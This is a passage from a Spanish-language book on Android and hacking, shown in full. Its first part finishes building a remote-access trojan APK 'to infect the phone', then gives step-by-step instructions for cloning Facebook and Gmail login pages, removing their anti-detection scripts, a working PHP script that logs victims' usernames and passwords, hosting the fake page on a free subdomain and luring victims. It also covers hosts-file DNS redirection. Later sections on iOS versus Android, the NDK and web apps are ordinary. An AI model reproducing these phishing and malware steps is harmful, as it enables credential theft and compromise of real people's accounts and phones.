Veremos qué es lo que contiene el archivo de WI-FI: Enciende


el WI-FI si está cerrado, también lo vamos a activar, “Imagen
1.101”:

Imagen 1.101, Contenido de WI-FI

Te tal forma que se visualizará así, “Imagen 1.02”:

Imagen 1.102, Contenido de Build Server

138
5.3.-Descarar la app
Ahora vamos a visualizar los demás campos que tenemos
como opción, en el campo de HOST vemos que en la parte
derecha viene IP le vamos a dar clic y nos cambiara HOST por
una IP, “Imagen 1.103”:

Imagen 1.103, Host

Una vez que tenemos todo en orden le vamos a dar en Build y


vamos a empezar a ejecutar el archivo para que nos genere
un .APK, que es lo que vamos a montar en nuestra aplicación
del juego, una vez que termine nos aparecerá una venta
hasta riba en la parte derecha y le vamos a dar clic en “show
in Exploren”, “Imagen 1.104”:

139
Imagen 1.104, Creando un .APK

Al darle clic obtendremos una ventana como esta, “Imagen 1.105”:

Imagen 1.105, Creando un .APK

Ahora ya por ultimo para verificar que tenemos nuestra .APK


la vamos a montar en nuestro juego y veamos que opciones
tenemos, “Imagen 1.106”:

Imagen 1.106, Opciones dentro del RAT.

Y así es como infectamos el teléfono móvil solo nos queda


ejecutar alguna opción y explotar el teléfono con las
opciones ya presentas.

140
Capítulo 6: Android en
redes sociales.

141
6.1.-Creación de plantillas

Web Spoofing:

Aunque el Phishing no es más que un tipo de Web Spoofing,


podemos afirmar sin duda alguna que es la práctica más
común. Por Web Spoofing entendemos la modificación o
suplantación de una página web que evidentemente no es
nuestra. Phishing es la suplantación de una web con fines
íntegramente delictivos, para poder obtener datos de usuarios
que infelizmente caen en las redes de estas páginas y no son
capaces de diferenciar lo uno de lo otro. Es decir, el Phishing
es tan solo una singularidad dentro de Web Spoofing, aunque
es sin duda su mayor uso.
Aquí tendríamos que hacer una diferencia muy importante.
Desde mi punto de vista, el Spoofing implica la modificación
de algo que es nuestro, como son los casos que hemos visto: IP
Spoofing (Modificamos nuestra IP), MAC Spoofing
(Modificamos nuestra MAC), Phishing (Modificamos nuestra
web), pero en ningún caso estamos modificando aquello que
no lo es.
Es decir, no estamos modificando la IP de un usuario, no
estamos modificando la MAC de un usuario, no estamos
modificando la Web de un usuario. Esto es algo muy
importante de entender, con Spoofing tan solo engañamos.

Los objetivos de Web Spoofing son claros:


 Phishing, obtención de credenciales de otros usuarios
 Reivindicaciones (re-direccionamientos).

142
Ahora teniendo claro este método procederemos a la
creación de nuestra plantilla que en este caso será la de
Facebook y los pasos van hacer los siguientes:

Lo guardamos como Pagina web completa en este caso le


puse Facebook, pero más adelante le cambiaremos a
index.html ya que será la primera página a mostrar en el
directorio. Ahora aparecerá en el escritorio.

Lo primero será ir eliminando los seguros que tiene la página


para evitar que el host donde se aloje lo detecte como página
falsa.
Iremos detectando y eliminando los archivos .cs que vienen en
la carpeta.

Todos los archivos que contengan esa parte serán eliminados


ya que en todos contienen partes que autentican los scripts
pertenecientes al host.

143
Facebook cuenta con diferentes host y cada uno tiene su
propia IP suponiendo que tengan 3 servidores:

(1) IP: 134.23.45.6.7


(2) IP: 145.65.78.9.5
(3) IP: 234.54.54.6.9

Los scripts verifican si esta página está alojada en esos


servidores conocidos. Dado caso que si está alojada la plantilla
en otro servidor o dominio diferente a Facebbok.com será
detectada inmediatamente y eliminada por el host ya que los
controles de seguridad van cambiando.
Pero nos quedarán 4 igual depende si actualiza Facebook sus
scripts así que en esta ocasión quedaron 4, pero si nos fijamos
hay uno que este encriptado y dirige a una URL lo más seguro
a scripts de Facebook que no queremos y los eliminamos ahora
si nos quedan 3 archivos .cs.

Ya teniendo los archivos iremos verificando ahora el archivo


Facebook.html
Borraremos gran parte del código que manda a llamar y
verificar las credenciales de la misma página.
1.- Borraremos las funciones ya que cualquier función puede
causar que sea detectado por el host y solo dejaremos estilos
visuales.

144
Buscaremos los </script> que sean más grandes y no tengan
que ver con los .cs que tenemos en nuestra carpeta.
Borraremos donde empieza <script> hasta donde termina
</script>.

Una vez borrados los scripts, exceptuando unos que verifican


con el nombre de los archivos de la carpeta.
Guardamos con CTRL + S y pre-visualizamos el documento con
Firefox.

Ahora vamos a editar la parte de los scripts que todavía están


en la carpeta.
Vamos a la capeta y copiamos el nombre del primer .cs y lo
buscaremos en el archivo Facebook.htm y cambiaremos de
nombre.

145
Abrimos el Facebook.html y buscamos y reemplazamos todo.

Ahora regresamos a la carpeta y le reemplazamos el nombre


por el que le pusimos en el html.

Relazamos el paso anterior en lo siguiente.

146
Una vez terminado, ya tendremos nuestra edición y ahora nos
quedara algo así:

Procederemos a borrar los archivos sueltos que borramos de la


carpeta, para evitar que se quede uno iremos buscando por
el nombre de carpeta.
Simplemente seleccionamos la palabra: Facebook_files y se
marcaran en verde todas las coincidencias.

Una vez hecho el cambio guardamos y mostramos en Firefox.

147
Ahora lo que nos falta es la imagen que debe aparecer con la
palabra Facebook.
Tenemos dos opciones la buscamos o la copiamos veremos
qué tal se ve si la copiamos directamente de la página.
O nos vamos a la página de Facebook oficial y vemos que no
se ve la dirección de la imagen y se muestra una clase. Le
damos Inspeccionar elementos y podemos ver que las
medidas son:
Ancho: 170px. Alto: 34px.

Imprimimos pantalla y lo editamos con cualquier editor como


ejemplo Paint y le damos el tamaño en pixeles.

Lo guardamos como imagen PNG y ahora procederemos a


buscar el logo en el código.

148
Insertaremos los valores para mostrar la imagen.
<IMG SRC="./Facebook_files/mostrar.PNG" WIDTH="185"
HEIGHT="50"></IMG>

Le daremos esos valores por que la imagen es diferente a la


original y trataremos de que sea lo más original posible.

Ahora se ve la imagen y procederemos a modificar el


formulario.
Una última cosa borraremos los metadatos de la página oficial.

149
Ahora si nos vamos a la página de Facebook falsa y
buscaremos el ACTION que es donde nos re-direccionará.
Y aumentaremos esta línea en el código de edición:
<form id="login_form"
action="https://www.facebook.com/login.php?login_attempt
=1&amp;lwv=110" method="post" novalidate="1"
onsubmit="return window.Event &amp;&amp;
Event.__inlineSubmit &amp;&amp;
Event.__inlineSubmit(this,event)">

Y le pondremos solo esto:


<form action="conecta.php" method="GET">
El método GET mostrará todo lo que se envía en el formulario y
solo pondremos lo que nos interesa.
Hacemos una prueba metiendo datos en la página de
Facebook falso y nos redirigirá a conecta.php, como no lo
tenemos creado solo nos mandara un error, pero con los
parámetros que se envían y solo ocuparemos dos, el usuario y
el password tal vez metamos uno más para que la barra de
dirección sea larga y no se vea tan simple.

150
Ahora quitaremos lo que no queremos enviar mediante el
formulario.
lsd=AVr9S5F7&[email protected]&pass=password12
3&default_persistent=1&timezone=360&lgndim=eyJ3IjoxMzY2L
CJoIjo3NjgsImF3IjoxMzY2LCJhaCI6NzI4LCJjIjoyNH0=&lgnrnd=08
2519_AGOT&lgnjs=1452011125&locale=es_LA&qsstamp=

Para eso abrimos de nuevo el archivo y seleccionamos la


palabra input para que muestren en verde las demás.

Ahora eliminaremos desde donde dice <input> hasta donde se


cierre su etiqueta, recuerden que solo ocuparemos la de email
y password y una donde tenga contenido basura para alargar
la url y lo más importante que borraremos los hiden ocultos
<input type=”hidden”
Una vez borrados hagamos una prueba.
Ahora nos re-dirige con estos datos:
conecta.php?west=NHBFGDGFDGFGHNBGBNHHJMLKDCDDSF
CDFVSQETHBNMYF&email=mosrtar%40hotmail.com&pass=123
&persistent=0

151
Con esto podremos hacer el conecta.php
Tomaremos los valores del email y password de las etiquetas de
texto y de tipo password del Facebook.html.

Recibimos las variables por método GET y las guardamos en


dos variables $usuario y $contraseña.
Instanciamos en $guardame el documento a escribir y lo
abrimos.
Escribimos en el documento con fwrite.
Cerramos el documento y re-direccionamos a la página
oficial.
Ahora ya podemos hacer las pruebas y le cambiamos el
nombre de Facebook.html a index.html.

152
Creación de Scam Gmail:

La creación de diferentes Scam´s depende del sitio unos


pueden ser simplemente descargados completamente y otros
tienen diferentes modos de hacer Login. Un ejemplo es el caso
de GMAIL que usa una interfaz para capturar el email y otra
para la contraseña.

En la cual capturaremos el Email detectando la etiqueta de


tipo texto que se ubica en esta parte:

153
Ahora nos faltaría el password.

Ahora solo queda guardar la primera página para obtener el


email y la segunda para obtener el password.
Una vez terminadas solo modificaremos la primera página la
etiqueta action:

Hacemos la redirección a la página para obtener el password,


le podremos llamar pass.php
La re-dirección quedará de la siguiente forma:
<form action=”pass.php” method=”GET”>
Ahora identificamos el input de la página que llamaremos
pass.php

154
Y el action redirigirá a la página que guardará los datos podría
ser guarda.php.
En el archivo guarda.php obtendremos todos los datos:

<?php
$usuario = $_GET['Email'];
$contraseña = $_GET['Passwd'];
$guardame = fopen('guarda.txt','a+');
fwrite($guardame,"----Usuario:".$usuario."----
Contrasena:".$contraseña."\r\n");
fclose($guardame);
echo "<meta http-equiv='refresh'
content='1;url=https://accounts.google.com'>"
?>
Recordemos que habrá que eliminar los scripts para poder
subirlos a un host y que no sean detectados.
Subiremos los de Facebook a un servidor con una URL
(subdominio gratuito) que parezca lo más creíble a una url de
Facebook.
Crear una cuenta en x10hosting.
Recurriremos a un servicio de hospedaje Web en este caso
gratuito.

155
Entramos un email para confirmar nuestra cuenta.

Una vez terminado los pasos y recordar nuestra contraseña,


nos llegarán unos correos de confirmación.

Confirmamos entrando a la URL que nos otorgan para


autentica la cuenta y entramos a nuestro panel.

Entramos a la siguiente parte donde dice Quick FTP.

156
Abrimos Filezilla FTP Client.
Y ponemos los datos:

Insertamos los datos en los campos requeridos y damos en


conexión rápida.
Damos doble clic en public_html (carpeta publica donde se
mostrará el contenido web) este caso aplica para todos los
hostings que contratemos.
Seleccionamos la carpeta de nuestro scam:

157
Procedemos a dar clic derecho y subir.
Para visualiza nuestro scam basta con abrir nuestra web
mediante el subdominio:
Ejemplo:
http://subdominio.x10.com/carpeta_scam/index.html
Ahora podemos meter este scam dentro de un mensaje o una
publicación en Facebook o algún método de ingeniería social
para poder enviarlo a nuestra víctima.

Envenenamiento de DNS. (DNS POISSONING)


Hay diferentes formas de infectar los DNS.
El DNS (Sistema de Nombres de Dominio) es un sistema de
nomenclatura jerárquica para computadoras, servicios o
cualquier recurso conectado a Internet o a una red privada.
Este sistema asocia información variada con nombres de
dominios asignado a cada uno de los participantes. Su función
más importante es traducir (resolver) nombres inteligibles para
las personas en identificadores binarios asociados con los
equipos conectados a la red, esto con el propósito de poder
localizar y direccionar estos equipos mundialmente.
El servidor DNS utiliza una base de datos distribuida y jerárquica
que almacena información asociada a nombres de dominio
en redes como Internet. Aunque como base de datos el DNS
es capaz de asociar diferentes tipos de información a cada
nombre, los usos más comunes son la asignación de nombres
de dominio a direcciones IP y la localización de los servidores
de correo electrónico de cada dominio.
La asignación de nombres a direcciones IP es ciertamente la
función más conocida de los protocolos DNS. Por ejemplo, si la
dirección IP del sitio Google es 216.58.210.163.
Para hacerlo en Windows entraremos en la siguiente dirección.
C:\Windows\System32\drivers\etc

158
Lo abriremos con el bloc de notas o notepad++:

Ahora solo queda subir el scam a nuestro servidor local.


Cortamos el archivo index.php que está en la carpeta por
default y lo pegamos afuera del directorio.

Ahora solo pegamos los archivos que estaban dentro de la


carpeta del scam.
Ahora si visualizamos los datos lo que ocurrirá es que los
navegadores tendrán un error de seguridad de conexión SSL
esto se debe a implementaciones actuales de los
navegadores y que no puede ser removida ya que rige bajo
HSTS (Strict-Transport-Security).

159
Nota:
No caigan y crean lo que se ve en internet como:
http://hackearfb.com/
Lo único que se conseguirá es que nos infecten con adware,
suscribirnos a servicios.

160
El scam ideal podría ser el siguiente:

6.2.-Uso de las redes sociales

¿Qué influencia tienen las aplicaciones y su uso en la


actualidad?
Si se realiza un análisis retrospectivo de los últimos veinticinco
años, sobre cómo la tecnología se ha ido incorporado en
nuestra vida diaria poco a poco y de forma imperceptible,
podemos señalar que hoy en día las sociedades actuales, en
mayor o menor medida se encuentran tan inmersas en un
consumo generalizado de "bienes y servicios tecnológicos".
Permitido a las sociedades modernas tener mejores alcances
competitivos en comparación con las de inicios de la década
de los noventa del siglo pasado, ahora bien, la creación de
aplicaciones que llegan a facilitar nuestras vidas es
impresionante, su uso actualmente llega a ser desde una
herramienta que nos facilita la lectura, que nos permite
escuchar música, nos permite tener acceso inmediato a
ciertas tiendas con ciertas ventajas que la misma aplicación
nos llega a ofrecer volviéndose así tan indispensables muchas
veces por la facilidad que nos ofrecen, accesos inmediatos
161
en tiempos reales, ahora quedaría una pregunta para
responder la pregunta planteada: ¿Qué seríamos sin el
WhatsApp? Y que es una aplicación con una tendencia
mundial que ha servido como medio de comunicación
inmediato.

¿Qué importancia tienen actualmente las redes


sociales?
Como ya se mencionó anteriormente, el uso de las redes
sociales se ha vuelto una tenencia mundial, siendo
mayormente Facebook, WhatsApp y Twitter las que tienen
mayor demanda e uso, utilizadas no solo por personas
comunes y corrientes que sólo las usan para compartir
contenidos personales, son también utilizadas por las grandes
industrias cuyo objetivo es vender imagen. Estos beneficios
deben de ser planteados como objetivos, si hacemos un
buen uso de las redes sociales a nivel empresarial; y existen
numerosas herramientas que nos permiten tener, visitas,
interactuación, hacer publicidad y otras muchas acciones
medibles y cuantificables en social media marketing.

¿Qué importancia tiene la programación en la


actualidad?
Como primer punto el propósito de la programación es crear
programas que exhiban un comportamiento deseado,
entonces a partir de esto podemos empezar a darle la

162
importancia de la aplicabilidad de la misma en la vida
cotidiana. Actualmente la programación es una pieza
esencial en el diseño de las páginas web, codificando,
depurando y por supuesto proporciona ese código fuente en
los programas computacionales, permitiendo efectuar
procesos con el fin de obtener un resultado.

¿Qué diferencia hay entre una computadora y un


celular?
Una de las principales diferencias es la interfaz es decir
aquella herramienta que nos facilita la comunicación a través
de objetos, iconos y elementos gráficos, en un celular ésta
interfaz es más pequeña lo que en una pc pues permite una
mejor capacidad para realizar un trabajo más sofisticado por
así llamarlo, otra de las diferencias es el software por supuesto
el software de una pc es mucho más complejo que el de un
teléfono móvil en el cual la versión es más recortada y una
característica muy importante es que no hay políticas de
seguridad o en algunas que las tienen éstas las debe definir el
propio usuario. De tal forma podríamos decir que un celular es
más práctico ya que fácilmente puede ser transportado,
además que forma parte de algo indispensable por cualquier
persona facilitando tareas que podemos realizar desde
cualquier sitio. La computadora nos facilita más las cuestiones
técnicas y laborales para llevar a cabo trabajos más
detallados debido a l gran cantidad de herramientas que nos
facilitan.

163
6.3.-Diferencia en el desarrollo de aplicaciones Android
con iOS

El control sobre las aplicaciones:


En iOS, cada que una apliciòn quiere hacer algo, tiene que
pedir permiso y además explicarte para que va usar ese
permiso un ejemplo es cuando la aplicación puede tener
permiso para acceder a la ubicación en todo momento o
sólo cuando la estamos utilizando.
En Android surgió esta idea a que llego Marshmallow para
llegar los permisos.

Libertades al desarrollar:
El sistema Android te permite más libertad al momento de
desarrollar al sema una plataforma de “Código libre”, da más
espacio para integrase y desarrollar nuevas funciones.
Un ejemplo de ello sería la nueva versión de WhatsApp Web,
que utiliza los celulares Android como puente entre el
ordenador y el servidor.
En cuestiones de iOS es un sistema muy limitante, Apple
establece sobre las aplicaciones, limitaciones que no
permiten usar el mismo método que se utiliza en Android, aun
que el equipo de WhatsApp terminó dando soporte a la
característica con otras vías que sí permite Apple.

164
Diferencia entra las dos tiendas:
Publicar una aplicación en la App Store no es nada sencillo
ya que para publicar se necesita una cuenta de desarrollar y
tiene un costo de 100 dólares por inscribirse, todas las
aplicaciones desarrolladas pasan por una revisión manual por
el equipo de App Store.
Sin embargo, esta especie de filtro permite tener un mercado
de aplicaciones más cuidado que la competencia, donde los
usuarios tienen menor probabilidad de verse en apuros y con
mayor calidad.
Por otro lado, Android cuenta igual con cuenta de
desarrolladores, pero el costo es mucho menor, a su vez pasa
por un proceso de revisión, con protección contra amenazas
a la seguridad del sistema.

Poder instalar cualquier aplicación en nuestro móvil:


En IOS la única forma de instalar aplicaciones es la App Store
o en dado caso recurrir al método de Jailbreak, Apple
siempre quiere tener el control sobre lo que se está instalando
en sus dispositivos, ha aprovechado alguna vez esta política
para beneficiar a sus productos ante cualquier competencia,
debatiendo que las aplicaciones eran duplicadas por las
funcionalidades del sistema.

165
iOS es el software de Apple y solo funciona como quiere
Apple, o lo aceptas o te buscas otro teléfono. Por otro lado,
Android te deja cambiar incluso la aplicación que usas para
enviar mensajes de texto (SMS), añadir widgets a la pantalla
de inicio e incluso usar otros launchers si así lo deseas.
La interfaz y notificaciones:
Ambas son bastante diferentes. Si te has acostumbrado a usar
una de ellas puede que sencillamente no te intereses por la
otra. Mientras que Apple apuesta por un diseño mucho más
refinado, Google busca impactar más. Ambas tienen diseños
preciosos, a su manera.
De cierto modo, las notificaciones funcionan de igual forma
en ambos sistemas operativos, y las diferencias que existen
son bastante sutiles y pequeñas: El sistema de Apple aún te
permite configurar las notificaciones de forma individual para
cada aplicación, mientras que Google lo facilita mucho más
para responder o eliminar alertas directamente desde el
centro de notificaciones.
Con el nuevo modo de prioridad de Lollipop, Android
finalmente tiene algo para rivalizar con el modo “No
Molestar” de iOS, aunque ambos son un poco complicados
de entender al principio.

166
Compara a Siri con Google No:
Siri tiene que ver más acerca de controlar las cosas con tu
voz, usar tu teléfono sin mover tus manos ni solicitar
información con la voz. Google Now, en cambio, también
acepta algunas órdenes con la voz, pero su enfoque principal
es el de darte a conocer información que cree es la que
buscas y necesitas basándose en tus correos electrónicos,
registros de búsqueda, viajes recientes y más.
Ya hemos hablado acerca de personalización y cómo
puedes darle un aspecto completamente nuevo a tu
Android, píxel a píxel, si así lo deseas. No hay forma de hacer
esto en un iPhone. Hay una gran diferencia también en la
capacidad de compartir cosas desde una aplicación.
Mientras que Android te permite compartir prácticamente
cualquier tipo de archivo a través de cualquier aplicación,
iOS se ha abierto muy poco en este sentido.

Estabilidad, Seguridad, Rendimiento:

Touch ID ha sido algo muy bueno para iOS, dado que ha


mejorado muchísimo la experiencia de desbloquear el
teléfono o verificar una compra. Los muchos fabricantes de
Android están intentando imitarlo, sin mucho éxito. Samsung
es el único fabricante en haber incluido tecnología para
captar huellas dactilares en dispositivos Android de buena
calidad.

Pero con Android Lollipop obtienes una característica


bastante útil, para “confiar” en diferentes áreas, zonas y
dispositivos. Como por ejemplo para conectarte vía Bluetooth
a los altavoces de tu vehículo de forma automática, sin
necesitar introducir una contraseña de desbloqueo. Esto
ofrece al usuario una mayor versatilidad y personalización de
las opciones de seguridad. Lollipop también ha igualado a

167
iOS en ofrecer el cifrado completo de los dispositivos por
defecto, aunque esto solo es obligatorio para los teléfonos
y tablets Nexus.

Más allá del sistema operativo móvil:

Hay muchos extras para elegir: Apple Health Vs Google Fit,


Apple Pay Vs Google Wallet, Android Auto Vs CarPlay. Música
y películas parece una buena área en la que centrarnos.
Android no tiene el mismo tipo de sistema de gestión para
equipos de escritorio que Apple tiene con iTunes. Los usuarios
de Android siempre pueden recurrir a Play Music o Play
Movies, y aunque ambas están mejorando mucho, no
ofrecen el mismo grado de control de contenidos que ofrece
iTunes.

En resumen, la posición de un botón, la manera en la que se


gestiona una función específica, o la confianza en una u otra
aplicación marcan la diferencia.

Si pasamos de esos detalles, lo que se ve es que Apple y


Google tiene ideas radicalmente diferentes sobre cómo tratar
temas como el hardware, el software, la web, o los datos
privados del usuario. En apariencia, iOS y Android nunca han
sido tan parecidos. Bajo la superficie, ambos se alejan cada
vez más.

168
A medida que Google y Apple se copian funciones, y ambos
sistemas operativos se vuelven más y más maduros, elegir
entre uno u otro ya no es cuestión de una lista de funciones,
sino de elegir entre lo que hay más allá. Se trata de elegir
entre dos ecosistemas diferentes, de elegir a quien confiar
nuestros datos, y cómo queremos vivir nuestra vida digital a
través de smartphones, computadoras e Internet.

169
6.4.-Android NDK

El Android NDK (Native Development Kit) permite a los


desarrolladores reutilizar código escrito en C/C++
introduciéndolo en las aplicaciones a través de JNI (Java
Native Interface). El NDK hace que la ejecución de la
aplicación sea en cierto modo más rápida, ya que pasará a
ejecutarse directamente en el procesador y no es interpretado
por una máquina virtual.

El NDK puede ser útil y beneficioso para ciertos tipos de


aplicaciones, pero no para otros. El uso de código nativo en
Android no se traduce en una notable mejora de rendimiento,
pero aumenta la complejidad de la aplicación hasta límites
insospechados.

No estamos refiriendo a la programación nativa y a Java, un


lenguaje de orientación a objetos que fue elegido para
desarrollar toda la API con la que contamos para realizar una
aplicación en Android.
A un que podemos encontrar aplicaciones híbridas
“Aplicaciones que utilizan contenedores de webs para
mostrar webs móviles y hacer que parezca una aplicación”,
podemos llegar a encontrar aplicaciones que son 100%
nativas que utilizan código que no es Java.

Android NDK, combinando lenguajes de programación:


Para ellos, Google nos muestra una opción de Android NDK,
una herramienta que nos permite implementar parte de
nuestro código con otros lenguajes nativos como C o C++. Si
bien esto nos puede servir para reutilizar código como por
ejemplo relacionando con la lógica de negocio, también
podría servirnos para reutilizar librerías que hayan sido escritas
en este lenguaje.

170
Para empezar, hay que conocer las arquitecturas
compatibles con Android NDK:
Cuando trabajas con código nativo, el hardware es
importante. El NDK te permite asegurarte de realizar
compilaciones para las arquitecturas y CPU correctas al
proporcionarte una variedad de ABI entre las cuales puedes
seleccionar.

Esta sección comienza con una explicación de la forma de


apuntar a arquitecturas y CPU específicas. Luego, en ella se
proporciona la información que necesitas para orientar la
familia de CPU y arquitecturas ARM . A continuación,
encontrarás información sobre otras CPU y arquitecturas
admitidas: NEON, x86 (32 bits y 64 bits), y MIPS. Por último, se
explica la manera de usar la biblioteca cpufeatures, que tu
aplicación puede usar para consultar una CPU o una
arquitectura determinada acerca de las funciones
opcionales que admiten.

Una vez conociendo la arquitectura y CPU, es importante que


conozcamos el funcionamiento de NDK y cómo funciona el
proyecto de nuestra aplicación:

Como compilar nuestra aplicación, Uno de los principales


propósitos del NDK es permitirte compilar código fuente C y
C++ en bibliotecas compartidas que puedas usar en tu app.

En esta sección se explica la manera de compilar ejecutables


nativos para usar en tu app para Android. En primer lugar, se
explica el archivoAndroid.mk, que define propiedades
específicas para módulos individuales o bibliotecas. Luego se
explica el archivo Application.mk, que define propiedades
para todos los módulos que usas en tu aplicación. Luego se te
explica la manera de usar la secuencia de comandos

171
ndk-build, que es lo que usa el NDK para compilar tus
orígenes. Por último, se explora territorio avanzado y se
aborda la manera de incorporar el NDK a tu propio conjunto
de herramientas, si prefieres realizar compilaciones de esa
manera en lugar de usar ndk-build.

Incluso podríamos poder depurar nuestro código:

Después de compilar tu aplicación, probablemente necesites


depurarla. Esta sección te presenta las herramientas de
depuración del NDK.

Comenzarás por aprender a usar la herramienta


ndk-gdb para depurar tu código. Por último, accederás a una
explicación de la herramienta ndk-stack, que te ayudará a
usar la herramienta ADB logcat durante la depuración.
Normalmente NDK se suele utilizar en determinadas
aplicaciones que quieren poder llevar acabo un uso intenso
de CPU, como por ejemplo pueden los motores de
videojuegos o de procesamiento de señal. Este tipo de
actividad requiere unas operaciones matemáticas, las cuales
podemos optimizar gracias al uso de NDK.
Uno de los aspectos más importantes es el procesamiento de
alto rendimiento de audio, para el cual tenemos disponible

172
unas librerías que nos permite usar C o C++ para implementar
audio con baja y alto rendimiento.

El paquete del NDK incluye una implementación específica


para Android de la especificación OpenSL API de Khronos
Group. Esta biblioteca te permite usar C o C++ para
implementar audio de alto rendimiento y baja latencia, ya
sea si escribes un sintetizador, una estación de trabajo de
audio digital, karaoke, un juego u otra app en tiempo real.

El estándar OpenSL ofrece funciones de audio similares a las


de las MediaPlayer y MediaRecorder API en el framework de
Java para Android. OpenSL ES proporciona una interfaz de
idiomas C y vinculaciones C++ que te permiten llamar a la API
con código escrito.

Las OpenSL API están disponibles para ayudarte a desarrollar


y mejorar el rendimiento del audio de tu app.
Entre algunos casos de uso típicos se incluyen los siguientes:
 Estaciones de trabajo de audio digital (DAW)
 Sintetizadores
 Unidades de ritmo
 Apps para el aprendizaje de música
 Apps de karaoke
 Mezclador para DJ
 Efectos de audio
 Conferencia de audio y video
Esta sección comienza con una explicación de cómo
incorporar OpenSL a tu app. En Android, se hace primero en
las diferencias entre esta implementación y la especificación
de referencia, y luego en extensiones para la compatibilidad
con Android. A continuación, aprenderás a minimizar
la latencia de audio. También te proporcionamos consejos

173
sobre el muestreo de audio a fin de ayudarte a seleccionar el
índice de muestra óptimo, y considerar las ventajas y
desventajas del uso de números de punto flotante para
representar tus datos de audio. La sección finaliza con notas
de programación complementarias para garantizar la
implementación correcta de OpenSL.

Validación del rendimiento de audio:

El Documento de definición de compatibilidad de Android


(CDD) indica los requisitos de hardware y software para un
dispositivo Android compatible. Consulta Compatibilidad de
Android para obtener más información sobre el programa de
compatibilidad general, y CDD para el documento de CDD
específico.

Actualmente no hay una API que permita determinar la


latencia de audio a través de una ruta de acceso en un
dispositivo Android en el tiempo de ejecución. No obstante,
puedes usar los siguientes indicadores de función de
hardware para averiguar si el dispositivo tiene
especificaciones con respecto a la latencia:

 android.hardware.audio.low_latency indica una latencia


de salida continua de 45 ms o menos.
 android.hardware.audio.pro indica una latencia de ida y
vuelta continua de 20 ms o menos.

Los criterios para informar estos indicadores se definen en el


CDD en las secciones 5.6 Latencia de audio y 5.10 Audio
profesional.
A continuación, te mostramos la manera de comprobar estas
funciones en Java:

174
boolean hasLowLatencyFeature =
getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LAT
ENCY);

boolean hasProFeature =
getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_PRO);

En cuanto a la relación de las funciones de audio, la


función android.hardware.audio.low_latency es un requisito
previo para android.hardware.audio.pro. Un dispositivo
puede implementar android.hardware.audio.low_latency y
no implementar android.hardware.audio.pro, pero no a la
inversa.
Para el caso del procesamiento gráfico 3D hay una
herramienta Vulkan, para ofrecer una API para crear gráficos
en tiempo real de alta calidad de modo más sencillo para el
rendimiento de nuestro dispositivo.

La plataforma de Android incluye una implementación


específica para Android de la especificación de la Vulkan API
de Khronos Group. Esta es una API multiplataforma de baja
sobrecarga para gráficos 3D de alto rendimiento.
Proporciona herramientas para crear gráficos de alta calidad
en tiempo real en las aplicaciones. También ofrece ventajas
como la reducción de la sobrecarga de la CPU, y
admite lenguaje intermedio para ejecutables de SPIR-V.

Capas de validación de Vulkan en Android:

La mayoría de las API de gráficos explícitos no realizan


comprobación de errores, porque hacerlo puede generar
una penalidad de rendimiento. Vulkan proporciona
comprobación de errores de modo que puedas usar esta
función durante el desarrollo, pero debes excluirla de la
compilación para la versión de tu aplicación, y así evitar la
penalidad cuando más perjudicial resultaría. Para hacerlo,

175
debes habilitar las capas de validación. Las capas de
validación interceptan o enlazan puntos de entrada Vulkan
para diferentes fines de depuración y validación.

Cada capa de validación puede contener definiciones para


uno o más de esos puntos de entrada e intercepta los puntos
de entrada para los cuales contiene definiciones. Cuando
una capa de validación no define un punto de entrada, el
sistema pasa el punto de entrada a la capa siguiente. En
última instancia, un punto de entrada que no se definió en
ninguna capa alcanza el controlador, el nivel de base, sin
validación.

Los ejemplos de Android SDK, del NDK y de Vulkan incluyen


capas de validación de Vulkan para usar durante el
desarrollo. Puedes incluir estas capas de validación en la pila
de gráficos. Esto les permite comunicar problemas de
validación. Esta instrumentación te permite detectar y
solucionar usos incorrectos durante el desarrollo.
En esta página se explica la manera de:
 Integrar ejecutables de la capa del NDK
 Obtener el código fuente para las capas de validación
 Verificar la compilación de las capas
 Habilitar capas en una aplicación Vulkan

Android NDK permite así ampliar las posibilidades,


especialmente en los que tenemos que mejorar el rendimiento
con respecto a lo que Java puede ofrecer o simplemente
para reutilizar código.

176
6.5.-Aplicaciones web

Hay esencialmente dos maneras de entregar una aplicación


en Android: como una aplicación cliente (desarrollada
utilizando el SDK de Android e instalada en dispositivos de
usuario en un APK) o como una aplicación web (desarrollada
utilizando estándares web y se accede a través de un
navegador web, No hay nada que instalar en dispositivos de
usuario).
Si decides proporcionar una aplicación basada en web para
dispositivos con Android, puedes estar seguro de que los
principales navegadores web de Android (y el marco de
WebView) te permiten especificar propiedades de vistas y
estilo que hacen que tus páginas web aparezcan con el
tamaño adecuado y escala en todas las configuraciones de
pantalla.
Las páginas web que insertas en tu aplicación para Android
deben diseñarse especialmente para ese entorno. Incluso
puede definir una interfaz entre su aplicación de Android y sus
páginas web que permite que JavaScript en las páginas web
invoque APIs en su aplicación Android, proporcionando APIs
de Android a su aplicación web.

177
Las Web Apps o Aplicaciones Web se ejecutan siempre a
través de un navegador web. Utilizan HTML, CSS y Java Script,
las mismas tecnologías que cualquier página web y hacen
uso de tecnología específica para dispositivos móviles.
Estas aplicaciones pueden parecerse visualmente mucho a
las aplicaciones nativas, Incluso pueden instalarse con su
propio icono junto al resto de aplicaciones y guardar
pequeñas cantidades de datos localmente para funcionar.

Ventajas de Crear Una Aplicación Web:

Una de las principales ventajas de las aplicaciones


Web es la de ser multiplataforma, de modo que con
mínimos ajustes pueden funcionar en móviles y tabletas
de diferentes plataformas.
Para Funcionar las aplicaciones web no necesitan
hacer uso de las tiendas de aplicaciones por lo que no
requieren su aprobación ni cumplir las condiciones que
éstas imponen para las aplicaciones que distribuyen.
Al estar alojadas en un servidor centralizado, se
garantiza que todos los dispositivos cuentan con la
versión más actualizada de la aplicación, lo que resulta
en menores problemas de soporte al cliente final.

Contras de Crear Una Aplicación Web:

Las aplicaciones Web requieren mayor promoción por parte


del creador por no contar con el apoyo de distribución de las
grandes tiendas como La App Store o Google Play.
Su contenido no está disponible sin conexión a internet.

178
Aplicaciones Móviles Nativas:

Las aplicaciones Móviles nativas se instalan en los


dispositivos, generalmente provenientes de las tiendas
de aplicaciones. Están desarrolladas utilizando las
tecnologías propias de cada una de las plataformas, lo
que significa que suelen requerir
un desarrollo independiente para cada una de ellas.
Ventajas de Crear Aplicaciones móviles Nativas:

La principal ventaja de una aplicación móvil nativa es el


poder beneficiarse de los canales de distribución de los
Marquet places de cada plataforma.
Las aplicaciones móviles nativas se instalan en tu móvil por lo
que no es necesario contar con una conexión a internet, si
